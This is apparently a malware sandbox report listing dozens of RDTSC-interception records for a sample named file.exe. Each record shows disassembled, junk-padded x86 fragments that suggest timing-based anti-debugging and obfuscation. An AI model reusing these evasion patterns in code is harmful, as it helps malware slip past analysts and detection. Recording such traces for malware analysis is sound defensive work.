Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500FE7 second address: 7501047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, 759B06ECh 0x0000000d jmp 00007F6AA0FFB737h 0x00000012 sub eax, eax 0x00000014 jmp 00007F6AA0FFB72Fh 0x00000019 lock cmpxchg dword ptr [edx], ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007F6AA0FFB72Bh 0x00000025 jmp 00007F6AA0FFB738h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7501047 second address: 75010A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7BFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a jmp 00007F6AA0FF7C06h 0x0000000f test eax, eax 0x00000011 pushad 0x00000012 mov ecx, 1EDFCD1Dh 0x00000017 mov si, 1E19h 0x0000001b popad 0x0000001c jne 00007F6B0F426258h 0x00000022 jmp 00007F6AA0FF7C04h 0x00000027 mov edx, dword ptr [ebp+08h] 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov edx, 272E27C0h 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75010A1 second address: 75010A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75010A6 second address: 75010D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi] 0x0000000b jmp 00007F6AA0FF7C00h 0x00000010 mov dword ptr [edx], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75010D8 second address: 75010F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB739h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75010F5 second address: 75011C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6AA0FF7C07h 0x00000009 add si, D45Eh 0x0000000e jmp 00007F6AA0FF7C09h 0x00000013 popfd 0x00000014 mov ebx, eax 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov eax, dword ptr [esi+04h] 0x0000001c jmp 00007F6AA0FF7BFAh 0x00000021 mov dword ptr [edx+04h], eax 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F6AA0FF7BFEh 0x0000002b adc eax, 1BAAA788h 0x00000031 jmp 00007F6AA0FF7BFBh 0x00000036 popfd 0x00000037 mov ch, C3h 0x00000039 popad 0x0000003a mov eax, dword ptr [esi+08h] 0x0000003d pushad 0x0000003e call 00007F6AA0FF7C01h 0x00000043 jmp 00007F6AA0FF7C00h 0x00000048 pop ecx 0x00000049 push edx 0x0000004a pushfd 0x0000004b jmp 00007F6AA0FF7BFEh 0x00000050 sbb ah, 00000048h 0x00000053 jmp 00007F6AA0FF7BFBh 0x00000058 popfd 0x00000059 pop eax 0x0000005a popad 0x0000005b mov dword ptr [edx+08h], eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F6AA0FF7C02h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75011C7 second address: 750122E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6AA0FFB731h 0x00000008 pop ecx 0x00000009 jmp 00007F6AA0FFB731h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esi+0Ch] 0x00000014 jmp 00007F6AA0FFB72Eh 0x00000019 mov dword ptr [edx+0Ch], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F6AA0FFB72Dh 0x00000025 sub ecx, 022A7C26h 0x0000002b jmp 00007F6AA0FFB731h 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750122E second address: 750124F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6AA0FF7BFAh 0x00000009 sub cx, 45C8h 0x0000000e jmp 00007F6AA0FF7BFBh 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750124F second address: 75012A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esi+10h] 0x0000000a jmp 00007F6AA0FFB734h 0x0000000f mov dword ptr [edx+10h], eax 0x00000012 jmp 00007F6AA0FFB730h 0x00000017 mov eax, dword ptr [esi+14h] 0x0000001a pushad 0x0000001b mov eax, 3A5A0AEDh 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 popad 0x00000023 mov dword ptr [edx+14h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F6AA0FFB72Dh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75012A0 second address: 75012B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7501395 second address: 75013BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, dh 0x00000005 mov esi, 5B77BC17h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [edx+28h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6AA0FFB734h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75013BD second address: 75013C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75013C3 second address: 75013C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75013C9 second address: 75013CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75013CD second address: 750148D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [esi+2Ch] 0x0000000b jmp 00007F6AA0FFB734h 0x00000010 mov dword ptr [edx+2Ch], ecx 0x00000013 pushad 0x00000014 mov dx, si 0x00000017 pushfd 0x00000018 jmp 00007F6AA0FFB72Ah 0x0000001d sub si, C248h 0x00000022 jmp 00007F6AA0FFB72Bh 0x00000027 popfd 0x00000028 popad 0x00000029 mov ax, word ptr [esi+30h] 0x0000002d pushad 0x0000002e mov edx, eax 0x00000030 popad 0x00000031 mov word ptr [edx+30h], ax 0x00000035 pushad 0x00000036 mov ecx, ebx 0x00000038 mov ch, dh 0x0000003a popad 0x0000003b mov ax, word ptr [esi+32h] 0x0000003f jmp 00007F6AA0FFB72Eh 0x00000044 mov word ptr [edx+32h], ax 0x00000048 pushad 0x00000049 mov edi, eax 0x0000004b pushfd 0x0000004c jmp 00007F6AA0FFB72Ah 0x00000051 sbb cx, F708h 0x00000056 jmp 00007F6AA0FFB72Bh 0x0000005b popfd 0x0000005c popad 0x0000005d mov eax, dword ptr [esi+34h] 0x00000060 jmp 00007F6AA0FFB736h 0x00000065 mov dword ptr [edx+34h], eax 0x00000068 push eax 0x00000069 push edx 0x0000006a jmp 00007F6AA0FFB737h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750148D second address: 75014A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AA0FF7C04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75014A5 second address: 750150F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test ecx, 00000700h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F6AA0FFB72Bh 0x0000001a add ecx, 6B2B9ABEh 0x00000020 jmp 00007F6AA0FFB739h 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007F6AA0FFB730h 0x0000002c xor ecx, 33D63BB8h 0x00000032 jmp 00007F6AA0FFB72Bh 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750150F second address: 7501549 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F6B0F425DE1h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov dx, FA2Eh 0x00000016 jmp 00007F6AA0FF7BFFh 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7501549 second address: 7501573 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB739h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or dword ptr [edx+38h], FFFFFFFFh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov esi, ebx 0x00000012 mov si, bx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7501573 second address: 75015F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 mov ecx, 10769269h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e or dword ptr [edx+3Ch], FFFFFFFFh 0x00000012 pushad 0x00000013 call 00007F6AA0FF7C02h 0x00000018 call 00007F6AA0FF7C02h 0x0000001d pop esi 0x0000001e pop ebx 0x0000001f pushfd 0x00000020 jmp 00007F6AA0FF7C00h 0x00000025 sub ecx, 6497BF98h 0x0000002b jmp 00007F6AA0FF7BFBh 0x00000030 popfd 0x00000031 popad 0x00000032 or dword ptr [edx+40h], FFFFFFFFh 0x00000036 jmp 00007F6AA0FF7C06h 0x0000003b pop esi 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f mov dl, 00h 0x00000041 mov dx, cx 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75015F4 second address: 75015FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, C7D4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7550C73 second address: 7550D0D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F6AA0FF7BFEh 0x0000000d push eax 0x0000000e pushad 0x0000000f call 00007F6AA0FF7C01h 0x00000014 pushfd 0x00000015 jmp 00007F6AA0FF7C00h 0x0000001a jmp 00007F6AA0FF7C05h 0x0000001f popfd 0x00000020 pop esi 0x00000021 mov esi, ebx 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 jmp 00007F6AA0FF7C03h 0x0000002a mov ebp, esp 0x0000002c jmp 00007F6AA0FF7C06h 0x00000031 pop ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F6AA0FF7C07h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74F080E second address: 74F0875 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, di 0x00000006 pushfd 0x00000007 jmp 00007F6AA0FFB739h 0x0000000c adc esi, 62E5D196h 0x00000012 jmp 00007F6AA0FFB731h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F6AA0FFB72Ch 0x00000023 or ecx, 62BA99B8h 0x00000029 jmp 00007F6AA0FFB72Bh 0x0000002e popfd 0x0000002f mov cx, CDEFh 0x00000033 popad 0x00000034 push eax 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 push ebx 0x00000039 pop eax 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74F0875 second address: 74F0884 instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov di, cx 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74F0884 second address: 74F08FD instructions: 0x00000000 rdtsc 0x00000002 call 00007F6AA0FFB738h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F6AA0FFB731h 0x00000011 sub ax, A866h 0x00000016 jmp 00007F6AA0FFB731h 0x0000001b popfd 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 jmp 00007F6AA0FFB72Ch 0x00000027 pop ebp 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b pushfd 0x0000002c jmp 00007F6AA0FFB72Ch 0x00000031 or cl, 00000038h 0x00000034 jmp 00007F6AA0FFB72Bh 0x00000039 popfd 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7490036 second address: 749003A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 749003A second address: 7490040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7490040 second address: 749005B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6AA0FF7BFCh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 749005B second address: 7490082 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6AA0FFB735h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7490651 second address: 7490655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7490655 second address: 749065B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 749065B second address: 7490686 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7BFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6AA0FF7C05h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7490686 second address: 749068B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 749068B second address: 74906A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov al, dh 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6AA0FF7C02h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74906A9 second address: 74906AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74906AF second address: 74906E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F6AA0FF7C09h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6AA0FF7BFDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74906E2 second address: 7490714 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB731h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6AA0FFB738h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7490714 second address: 7490723 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7BFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7490B00 second address: 7490B04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7490B04 second address: 7490B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F6AA0FF7BFCh 0x0000000c adc ah, FFFFFFD8h 0x0000000f jmp 00007F6AA0FF7BFBh 0x00000014 popfd 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F6AA0FF7C04h 0x0000001e xor esi, 2F570938h 0x00000024 jmp 00007F6AA0FF7BFBh 0x00000029 popfd 0x0000002a mov ecx, 30F8D36Fh 0x0000002f popad 0x00000030 push eax 0x00000031 jmp 00007F6AA0FF7C05h 0x00000036 xchg eax, ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7490B73 second address: 7490B86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74E0A39 second address: 74E0A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74E0A3D second address: 74E0A41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74E0A41 second address: 74E0A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74E0A47 second address: 74E0A4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74E0A4D second address: 74E0A8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7BFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov dh, ch 0x0000000f call 00007F6AA0FF7C03h 0x00000014 mov ebx, esi 0x00000016 pop esi 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F6AA0FF7BFCh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74E0A8B second address: 74E0A9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74E0A9A second address: 74E0AA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74C0035 second address: 74C00CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6AA0FFB731h 0x00000009 xor ecx, 422840E6h 0x0000000f jmp 00007F6AA0FFB731h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F6AA0FFB730h 0x0000001b sbb ax, 2C88h 0x00000020 jmp 00007F6AA0FFB72Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, ebp 0x0000002a jmp 00007F6AA0FFB736h 0x0000002f mov ebp, esp 0x00000031 jmp 00007F6AA0FFB730h 0x00000036 and esp, FFFFFFF0h 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F6AA0FFB737h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74C00CC second address: 74C011F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 44h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ecx 0x00000011 pushfd 0x00000012 jmp 00007F6AA0FF7BFFh 0x00000017 sub cl, FFFFFFEEh 0x0000001a jmp 00007F6AA0FF7C09h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74C011F second address: 74C0180 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6AA0FFB737h 0x00000009 or ch, FFFFFFFEh 0x0000000c jmp 00007F6AA0FFB739h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F6AA0FFB730h 0x00000018 sbb ch, FFFFFFF8h 0x0000001b jmp 00007F6AA0FFB72Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 xchg eax, ebx 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74C02DF second address: 74C02EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7BFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74C02EE second address: 74C03A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6AA0FFB72Fh 0x00000009 jmp 00007F6AA0FFB733h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F6AA0FFB738h 0x00000015 sbb esi, 4BE21278h 0x0000001b jmp 00007F6AA0FFB72Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 mov dword ptr [esp+24h], 00000000h 0x0000002c pushad 0x0000002d pushad 0x0000002e movzx esi, bx 0x00000031 pushfd 0x00000032 jmp 00007F6AA0FFB737h 0x00000037 sub cx, C6EEh 0x0000003c jmp 00007F6AA0FFB739h 0x00000041 popfd 0x00000042 popad 0x00000043 popad 0x00000044 lock bts dword ptr [edi], 00000000h 0x00000049 jmp 00007F6AA0FFB72Ah 0x0000004e jc 00007F6B109FD7C1h 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74C03A4 second address: 74C03A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74C03A8 second address: 74C03AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74F092E second address: 74F0943 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74F0943 second address: 74F0979 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB731h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F6AA0FFB72Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6AA0FFB72Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74F0979 second address: 74F098E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74F098E second address: 74F09A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push edx 0x0000000b mov cl, B5h 0x0000000d pop edx 0x0000000e movzx ecx, bx 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 mov di, 0AE2h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74F09A9 second address: 74F09E8 instructions: 0x00000000 rdtsc 0x00000002 mov ah, dh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movzx esi, di 0x00000009 popad 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movzx ecx, dx 0x00000011 pushfd 0x00000012 jmp 00007F6AA0FF7C05h 0x00000017 and cx, 3366h 0x0000001c jmp 00007F6AA0FF7C01h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74E09F6 second address: 74E0A16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB731h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, bx 0x00000010 movsx ebx, si 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74F0BA3 second address: 74F0C2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6AA0FF7C06h 0x00000009 add si, D2B8h 0x0000000e jmp 00007F6AA0FF7BFBh 0x00000013 popfd 0x00000014 mov ch, BAh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push ebx 0x0000001a pushad 0x0000001b push esi 0x0000001c pushfd 0x0000001d jmp 00007F6AA0FF7BFDh 0x00000022 and ah, 00000056h 0x00000025 jmp 00007F6AA0FF7C01h 0x0000002a popfd 0x0000002b pop eax 0x0000002c pushfd 0x0000002d jmp 00007F6AA0FF7C01h 0x00000032 sub si, C6B6h 0x00000037 jmp 00007F6AA0FF7C01h 0x0000003c popfd 0x0000003d popad 0x0000003e mov dword ptr [esp], ebp 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 mov dh, 1Fh 0x00000046 mov cl, 78h 0x00000048 popad 0x00000049 rdtsc
